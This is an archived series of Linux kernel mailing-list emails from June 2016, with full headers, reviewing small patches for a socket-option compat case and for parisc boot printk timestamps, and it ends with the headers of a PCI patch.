         c0AHwT8AKLbNGYuA2sSD7fp5xDtocjU4t0l8xf5cn1g005KSI+e/5fHsCCWS8ZzPd+/T
         S6Iw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:from:date:message-id:subject:to:cc;
        bh=+kcTEc+VNjR/JO3XPu78KQEc9LvjA8tezx6YIuWyD3c=;
        b=B/Twq/lgfd1tEww3aynM+24LgQYPfDw8/UFDqGjvuiq9FCbCMcZnLhRn7r6kM8RLHy
         58G9GZUhhouZGPqgJFYXQWSjlGkD3BpPiHA7US3oBaqUK04KUPnURavZPdu2LTlJjT8i
         Bl/8l8OJleVMW+CZ76/XpHDh02cZ19F7J7RSVux34aWjkfNUKpW4eC4exM7MdB/JROT/
         57wEP7XlOypTDOZXO6I/cK1ERWLOy6KeP3xhWamiswgGURmOOG8ail/IiNHesk+FLX6F
         UOhomhjyP5VmHzX5XR9k5NF1Aa3x+2wt2p3hMvnyPwbeMajEU4oHyTe0E32+Ey4mF7Sn
         zp1Q==
X-Gm-Message-State: ALyK8tLIM2Y8qgXlhzO95SBazFM7FzBxU3oo3NORexQDX1bkvr5QFJGA7l3fLUOQqdBDFw==
X-Received: by 10.25.158.84 with SMTP id h81mr1642728lfe.165.1464989591096;
        Fri, 03 Jun 2016 14:33:11 -0700 (PDT)
Original-Received: from mail-lf0-f52.google.com (mail-lf0-f52.google.com. [209.85.215.52])
        by smtp.gmail.com with ESMTPSA id f93sm547458lji.46.2016.06.03.14.33.10
        for <netdev@vger.kernel.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 03 Jun 2016 14:33:10 -0700 (PDT)
Original-Received: by mail-lf0-f52.google.com with SMTP id s64so62426747lfe.0
        for <netdev@vger.kernel.org>; Fri, 03 Jun 2016 14:33:10 -0700 (PDT)
X-Received: by 10.25.125.194 with SMTP id y185mr1288569lfc.75.1464989590157;
 Fri, 03 Jun 2016 14:33:10 -0700 (PDT)
Original-Received: by 10.25.34.196 with HTTP; Fri, 3 Jun 2016 14:33:09 -0700 (PDT)
X-Gmail-Original-Message-ID: <CAEfhGiwwvwf31Dj+s0zA0bpVAZ4x4=rLuU5g217u=wRrgm07Dg@mail.gmail.com>
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:415056 gmane.linux.ports.parisc:26827
Archived-At: <http://permalink.gmane.org/gmane.linux.network/415056>

On Fri, Jun 3, 2016 at 5:09 PM, Helge Deller <deller@gmx.de> wrote:
> Any idea for a better naming than "do_sockopt_fix_sock_fprog()" ?
Thanks for catching and fixing this.  I'd suggest simply leaving the
function name as-is.  Your fix to the condition in that function is
sufficient to address the issue.

Craig


From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexei Starovoitov <alexei.starovoitov@gmail.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] soreuseport: add compat case for setsockopt
 SO_ATTACH_REUSEPORT_CBPF
Date: Fri, 3 Jun 2016 14:40:04 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20160603214002.GA58242@ast-mbp.thefacebook.com>
References: <CAEfhGiwwvwf31Dj+s0zA0bpVAZ4x4=rLuU5g217u=wRrgm07Dg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464990081 6354 80.91.229.3 (3 Jun 2016 21:41:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 21:41:21 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Craig Gallek <kraigatgoog@gmail.com>
Original-X-From: netdev-owner@vger.kernel.org Fri Jun 03 23:41:20 2016
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1b8wpE-0004KZ-VH
	for linux-netdev-2@plane.gmane.org; Fri, 03 Jun 2016 23:40:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933054AbcFCVkO (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Fri, 3 Jun 2016 17:40:14 -0400
Original-Received: from mail-pf0-f182.google.com ([209.85.192.182]:33076 "EHLO
	mail-pf0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933034AbcFCVkI (ORCPT
	<rfc822;netdev@vger.kernel.org>); Fri, 3 Jun 2016 17:40:08 -0400
Original-Received: by mail-pf0-f182.google.com with SMTP id b124so47366297pfb.0;
        Fri, 03 Jun 2016 14:40:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=D1yERrK0xWWVADUOMwjDKdbgv4gCWDjXCaQUM2QJQrI=;
        b=BHmHzU+ix8XY/uIH/6OJAXUJsPGy2TA3rCXzX94fRbZ8N9vvwp0UhgFX/4dP0eQrgS
         k/pu/NfzktcqsvdVP/JMNV8kg1jgzfGDp6DTvV6tQr8SaCd5eERIsKHtYO/l+Gkl8uy7
         sDchYkWm7/7bblVuhAGPBnzOakWBBIR8TMOCIbct9DJTWHk0CB/ACGdrdkQC02sLbXDI
         jfzAGY5EbohTDuZIErDr8M64zlhPf5I5fxXVm8nqL1vKFLdBG5J6c+X57jMZVpBw/DnA
         3cxheyToh4afMK4cvwsVhYwXqdBcr1hua1g3AHz7FPc9aUIKhIVoyDOA1PiF8U47/2rT
         iGww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=D1yERrK0xWWVADUOMwjDKdbgv4gCWDjXCaQUM2QJQrI=;
        b=TMCblFN07KcTbwBsUh8Fv3Q9Vy6S0yB+EGDy4CsTTilTnHER4cXz6Tenj7X51njeNL
         8+w8EvojXVJJZyIRMbJIlpLjRczpdS5b3p3ywTPDk5E7KE3F9oQyIck1RJPpZ37osSGF
         thSfvZlSSnKLQPkiMCJVl77y1qELnSHpK+KD4LAdeZq4hib3AbiLibVp7IC4Mq+Hb6h1
         rLQsJJ+AnpQd7I1jYkd3nLZZzgGPayPCYWk+ZfNrRl+60EtlzKHbNIjAhjyUsJuOGxsf
         X9vX7nPjlktwp9A+HKsLP+yuHSYIqMb6HWjo2VPOBDylDfjNZRT9vUdRCc73H6c1UV/B
         HJfQ==
X-Gm-Message-State: ALyK8tJ9fwD+aHseQYtbvkauUNIt5h324ns6MTtbj9UZAhFZCuNMvpwaHkWyvhFiHXfdZg==
X-Received: by 10.98.69.197 with SMTP id n66mr8425866pfi.75.1464990007852;
        Fri, 03 Jun 2016 14:40:07 -0700 (PDT)
Original-Received: from ast-mbp.thefacebook.com ([2620:10d:c090:200::a:11b2])
        by smtp.gmail.com with ESMTPSA id zj2sm8123237pac.6.2016.06.03.14.40.05
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Fri, 03 Jun 2016 14:40:06 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <CAEfhGiwwvwf31Dj+s0zA0bpVAZ4x4=rLuU5g217u=wRrgm07Dg@mail.gmail.com>
User-Agent: Mutt/1.5.24 (2015-08-30)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:415059 gmane.linux.ports.parisc:26828
Archived-At: <http://permalink.gmane.org/gmane.linux.network/415059>

On Fri, Jun 03, 2016 at 05:33:09PM -0400, Craig Gallek wrote:
> On Fri, Jun 3, 2016 at 5:09 PM, Helge Deller <deller@gmx.de> wrote:
> > Any idea for a better naming than "do_sockopt_fix_sock_fprog()" ?
> Thanks for catching and fixing this.  I'd suggest simply leaving the
> function name as-is.  Your fix to the condition in that function is
> sufficient to address the issue.

+1
and thanks for the fixes!



From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] soreuseport: add compat case for setsockopt
 SO_ATTACH_REUSEPORT_CBPF
Date: Fri, 3 Jun 2016 23:49:17 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20160603214917.GA12557@ls3530.box>
References: <CAEfhGiwwvwf31Dj+s0zA0bpVAZ4x4=rLuU5g217u=wRrgm07Dg@mail.gmail.com>
 <20160603214002.GA58242@ast-mbp.thefacebook.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464990732 16568 80.91.229.3 (3 Jun 2016 21:52:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 21:52:12 +0000 (UTC)
Cc: Craig Gallek <kraigatgoog@gmail.com>, Helge Deller <deller@gmx.de>,
	Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Alexei Starovoitov <alexei.starovoitov@gmail.com>
Original-X-From: netdev-owner@vger.kernel.org Fri Jun 03 23:52:03 2016
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1b8wyM-0003pk-4S
	for linux-netdev-2@plane.gmane.org; Fri, 03 Jun 2016 23:49:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S964789AbcFCVtf (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Fri, 3 Jun 2016 17:49:35 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:58516 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S964770AbcFCVte (ORCPT <rfc822;netdev@vger.kernel.org>);
	Fri, 3 Jun 2016 17:49:34 -0400
Original-Received: from ls3530.box ([92.203.38.178]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LhwLy-1bmuHa39RS-00nBSA; Fri, 03 Jun 2016 23:49:20
 +0200
Content-Disposition: inline
In-Reply-To: <20160603214002.GA58242@ast-mbp.thefacebook.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:OjROIaF5+lJcxak1bgmthHHv+p4hXZs1UOpe/q68mIoOzdzF4Mr
 AbS1K43E+3bqGyF6vVah6+chYexpAvV042KJCNPz4SOt9HuiZ/jGvMDOvSS1LOrRzF8Saql
 6jkGZWLRerlxLV+3aiBpieddFq2YK6Wlnbk0OzrOAh0hfWE0nBCt+igNtryVoRINZnqVIzv
 pU+JHhvWXKbaCnUx5wkKg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:VGEFC6xQ9wE=:j/i6y/Z003yjNUqJsid9EP
 tMMwFs5nxpYXfWcXrmuZ5QDWuW9n4CRRxPveb5JMqYAAloNxRbN8eGwKw7w0mGPMM19VXOQPE
 3o0c7NIPQDgORTCw0xhR7F0lOWp3dXs4iDJqz+Esfotf20F0s1ytzjymjW2VPc9vQ4JQ930Tm
 d4B1puf7UlhETYFrNVSEowNmT0FgON0kjsexR0QIiA2ANSdGu7tLKYGRiEPhhKvG3wYLXkSWz
 Trb7Hr18tufdzAegNj0Vio2HM0VIJF0oUl7W4vTJKepjqr/+TPQ8L8PeqNe/ZZf3DkkywAPc5
 GHMDnw6ZzCo4OgIUwnGjMA1NAakNNHM5C1oCR4xVtedsmNI7g+Ko0rf3BtazYIjfCQtNBLhW6
 iho/mCsBBmi4zR2Un1qF7nL43DP+PpMHyqNyLwOJ7a1zbwwJroZletYR7NWBzMJL1JLGldBtv
 ViEyhbIFO6J/0pyWKFnAu2b8kkvlQjUXixbBmBJ2G2RdgSWspPulMRIzjzrvyhGtul4cEauQB
 tOxuRhOwfIsiFtoVjG6BB+X15/18Iaf+g5D2yUUfP4RRePF2JSJL7nmbSK92PeT1VhMg6BWH/
 Dm/OaFIegR3lYRPvl9a/BmtOwnEoFvzvLCxu+Y5cLVwL4FOBJEvBCQ3AZiC6mVEyCINmxN2Z9
 tr/3L8Lqx/L//QZwy+PI7yI4/prxsP19gmqbf6oWMT1akFuOpkaPETRJMfQzcNAB6V5KIx+oj
 nHfezgq2la7jOXnZ5eZbOM+Ec0kBenKSDkkbJq8wvjU9nQIYDHrNbQ6PcB0=
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:415061 gmane.linux.ports.parisc:26829
Archived-At: <http://permalink.gmane.org/gmane.linux.network/415061>

Commit 538950a1b752 ("soreuseport: setsockopt SO_ATTACH_REUSEPORT_[CE]BPF")
missed to add the compat case for the SO_ATTACH_REUSEPORT_CBPF option.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/net/compat.c b/net/compat.c
index 5cfd26a..1373947 100644
--- a/net/compat.c
+++ b/net/compat.c
@@ -354,7 +354,8 @@ static int do_set_sock_timeout(struct socket *sock, int level,
 static int compat_sock_setsockopt(struct socket *sock, int level, int optname,
 				char __user *optval, unsigned int optlen)
 {
-	if (optname == SO_ATTACH_FILTER)
+	if (optname == SO_ATTACH_FILTER ||
+	    optname == SO_ATTACH_REUSEPORT_CBPF)
 		return do_set_attach_filter(sock, level, optname,
 					    optval, optlen);
 	if (optname == SO_RCVTIMEO || optname == SO_SNDTIMEO)


From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: invalid printk time during boot on PA-RISC
Date: Sat, 4 Jun 2016 00:56:21 +0300
Lines: 83
Approved: news@gmane.org
Message-ID: <20160603215621.GE5218@raspberrypi.musicnaut.iki.fi>
References: <alpine.LRH.2.02.1605310735130.6341@file01.intranet.prod.int.rdu2.redhat.com>
 <20160601211248.GA15061@p100.box>
 <20160601213628.GC5218@raspberrypi.musicnaut.iki.fi>
 <20160603172231.GA4592@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464991254 23844 80.91.229.3 (3 Jun 2016 22:00:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 22:00:54 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 04 00:00:46 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8x4s-0008Qm-PB
	for glpp-linux-parisc@plane.gmane.org; Fri, 03 Jun 2016 23:56:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932361AbcFCV40 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jun 2016 17:56:26 -0400
Original-Received: from emh06.mail.saunalahti.fi ([62.142.5.116]:56587 "EHLO
	emh06.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932272AbcFCV40 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jun 2016 17:56:26 -0400
Original-Received: from raspberrypi.musicnaut.iki.fi (85-76-130-131-nat.elisa-mobile.fi [85.76.130.131])
	by emh06.mail.saunalahti.fi (Postfix) with ESMTP id 5946E699B0;
	Sat,  4 Jun 2016 00:56:22 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <20160603172231.GA4592@ls3530.box>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26830>

Hi,

On Fri, Jun 03, 2016 at 07:22:31PM +0200, Helge Deller wrote:
> * Aaro Koskinen <aaro.koskinen@iki.fi>:
> > Hi,
> > 
> > On Wed, Jun 01, 2016 at 11:12:48PM +0200, Helge Deller wrote:
> > > It fixes the problem mostly for me, there is just one little glitch
> > > left, which is that the lines "FP[x] enabled" will still print an
> > > invalid time. I assume it's because when this text is printed, the
> > > clock/interrupts for the just booted CPU aren't enabled yet.
> > > 
> > > I'm not sure it's worth trying to fix that. 
> > > One could print out that info at a later time, or just disabled it.
> > > 
> > > Helge
> > > 
> > > [    5.720014] Enabling PDC_PAT chassis codes support v0.05
> > > [    6.644542] Releasing cpu 1 now, hpa=fffffffffe781000
> > > [    0.196000] FP[1] enabled: Rev 1 Model 20
> > > [    7.088432] CPU(s): 2 out of 2 PA8800 (Mako) at 900.000000 MHz online
> > 
> > Some tools that analyze boot time based on dmesg might get confused.
> 
> Yes, valid point.
> Updated patch below.
> 
> Helge
> 
> __________
> 
> 
> parisc: Fix printk time during boot
> 
> Avoid showing invalid printk time stamps during boot.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

Reviewed-by: Aaro Koskinen <aaro.koskinen@iki.fi>

A.

> diff --git a/arch/parisc/kernel/processor.c b/arch/parisc/kernel/processor.c
> index e81ccf1..5adc339 100644
> --- a/arch/parisc/kernel/processor.c
> +++ b/arch/parisc/kernel/processor.c
> @@ -324,8 +324,9 @@ int init_per_cpu(int cpunum)
>  		per_cpu(cpu_data, cpunum).fp_rev = coproc_cfg.revision;
>  		per_cpu(cpu_data, cpunum).fp_model = coproc_cfg.model;
>  
> -		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
> -			cpunum, coproc_cfg.revision, coproc_cfg.model);
> +		if (cpunum == 0)
> +			printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
> +				cpunum, coproc_cfg.revision, coproc_cfg.model);
>  
>  		/*
>  		** store status register to stack (hopefully aligned)
> diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
> index 58dd680..31ec99a 100644
> --- a/arch/parisc/kernel/time.c
> +++ b/arch/parisc/kernel/time.c
> @@ -309,11 +309,6 @@ void __init time_init(void)
>  	clocks_calc_mult_shift(&cyc2ns_mul, &cyc2ns_shift, current_cr16_khz,
>  				NSEC_PER_MSEC, 0);
>  
> -#if defined(CONFIG_HAVE_UNSTABLE_SCHED_CLOCK) && defined(CONFIG_64BIT)
> -	/* At bootup only one 64bit CPU is online and cr16 is "stable" */
> -	set_sched_clock_stable();
> -#endif
> -
>  	start_cpu_itimer();	/* get CPU 0 started */
>  
>  	/* register at clocksource framework */
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Borkmann <daniel@iogearbox.net>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] soreuseport: add compat case for setsockopt SO_ATTACH_REUSEPORT_CBPF
Date: Sat, 04 Jun 2016 00:20:01 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <57520291.7090004@iogearbox.net>
References: <CAEfhGiwwvwf31Dj+s0zA0bpVAZ4x4=rLuU5g217u=wRrgm07Dg@mail.gmail.com> <20160603214002.GA58242@ast-mbp.thefacebook.com> <20160603214917.GA12557@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1464992446 9871 80.91.229.3 (3 Jun 2016 22:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 3 Jun 2016 22:20:46 +0000 (UTC)
Cc: Craig Gallek <kraigatgoog@gmail.com>,
	Sergei Shtylyov <sergei.shtylyov@cogentembedded.com>,
	Alexei Starovoitov <ast@kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	Willem de Bruijn <willemb@google.com>
To: Helge Deller <deller@gmx.de>,
	Alexei Starovoitov <alexei.starovoitov@gmail.com>
Original-X-From: netdev-owner@vger.kernel.org Sat Jun 04 00:20:31 2016
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1b8xS0-0004PS-8y
	for linux-netdev-2@plane.gmane.org; Sat, 04 Jun 2016 00:20:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932164AbcFCWUK (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Fri, 3 Jun 2016 18:20:10 -0400
Original-Received: from www62.your-server.de ([213.133.104.62]:60883 "EHLO
	www62.your-server.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750787AbcFCWUJ (ORCPT
	<rfc822;netdev@vger.kernel.org>); Fri, 3 Jun 2016 18:20:09 -0400
Original-Received: from [85.1.99.166] (helo=localhost.localdomain)
	by www62.your-server.de with esmtpsa (TLSv1.2:DHE-RSA-AES256-SHA:256)
	(Exim 4.85_2)
	(envelope-from <daniel@iogearbox.net>)
	id 1b8xRj-0007QU-Pq; Sat, 04 Jun 2016 00:20:03 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <20160603214917.GA12557@ls3530.box>
X-Authenticated-Sender: daniel@iogearbox.net
X-Virus-Scanned: Clear (ClamAV 0.99/21664/Fri Jun  3 19:35:19 2016)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:415063 gmane.linux.ports.parisc:26831
Archived-At: <http://permalink.gmane.org/gmane.linux.network/415063>

On 06/03/2016 11:49 PM, Helge Deller wrote:
> Commit 538950a1b752 ("soreuseport: setsockopt SO_ATTACH_REUSEPORT_[CE]BPF")
> missed to add the compat case for the SO_ATTACH_REUSEPORT_CBPF option.
>
> Signed-off-by: Helge Deller <deller@gmx.de>

LGTM, thanks!

Acked-by: Daniel Borkmann <daniel@iogearbox.net>

[ Cc Willem: I believe we also need something similar for PACKET_FANOUT_DATA
   when PACKET_FANOUT_CBPF is requested since we have the same issue with the
   pointer in struct sock_fprog there, too. ]

> diff --git a/net/compat.c b/net/compat.c
> index 5cfd26a..1373947 100644
> --- a/net/compat.c
> +++ b/net/compat.c
> @@ -354,7 +354,8 @@ static int do_set_sock_timeout(struct socket *sock, int level,
>   static int compat_sock_setsockopt(struct socket *sock, int level, int optname,
>   				char __user *optval, unsigned int optlen)
>   {
> -	if (optname == SO_ATTACH_FILTER)
> +	if (optname == SO_ATTACH_FILTER ||
> +	    optname == SO_ATTACH_REUSEPORT_CBPF)
>   		return do_set_attach_filter(sock, level, optname,
>   					    optval, optlen);
>   	if (optname == SO_RCVTIMEO || optname == SO_SNDTIMEO)
>



From - Thu Nov 08 21:38:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH v12 01/15] PCI: Let pci_mmap_page_range() take extra resource pointer
Date: Fri,  3 Jun 2016 17:06:28 -0700
Lines: 475
Approved: news@gmane.org
Message-ID: <20160604000642.28162-2-yinghai@kernel.org>
References: <20160604000642.28162-1-yinghai@kernel.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1464998927 1814 80.91.229.3 (4 Jun 2016 00:08:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 4 Jun 2016 00:08:47 +0000 (UTC)
Cc: Wei Yang <weiyang@linux.vnet.ibm.com>,
	Khalid Aziz <khalid.aziz@oracle.com>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	Yinghai Lu <yinghai@kernel.org>,
	linux-arm-kernel@lists.infradead.org, linux-cris-kernel@axis.com,
	linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
	linux-am33-list@redhat.com, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org
To: Bjorn Helgaas <bhelgaas@google.com>,
	David Miller <davem@davemloft.net>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 04 02:08:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b8z8P-0003Qi-1J
	for glpp-linux-parisc@plane.gmane.org; Sat, 04 Jun 2016 02:08:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751198AbcFDAIL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Jun 2016 20:08:11 -0400
Original-Received: from aserp1040.oracle.com ([141.146.126.69]:47803 "EHLO
	aserp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751268AbcFDAIH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Jun 2016 20:08:07 -0400
Original-Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234])
	by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id u540717c028467
	(version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 4 Jun 2016 00:07:01 GMT
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
	by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id u54070B0016904
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 4 Jun 2016 00:07:00 GMT
Original-Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25])
	by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id u5406utB014723;
	Sat, 4 Jun 2016 00:06:58 GMT
Original-Received: from aserv0021.oracle.com (/10.132.126.127)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Fri, 03 Jun 2016 16:06:56 -0800
X-Mailer: git-send-email 2.8.3
In-Reply-To: <20160604000642.28162-1-yinghai@kernel.org>
X-Source-IP: aserv0022.oracle.com [141.146.126.234]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
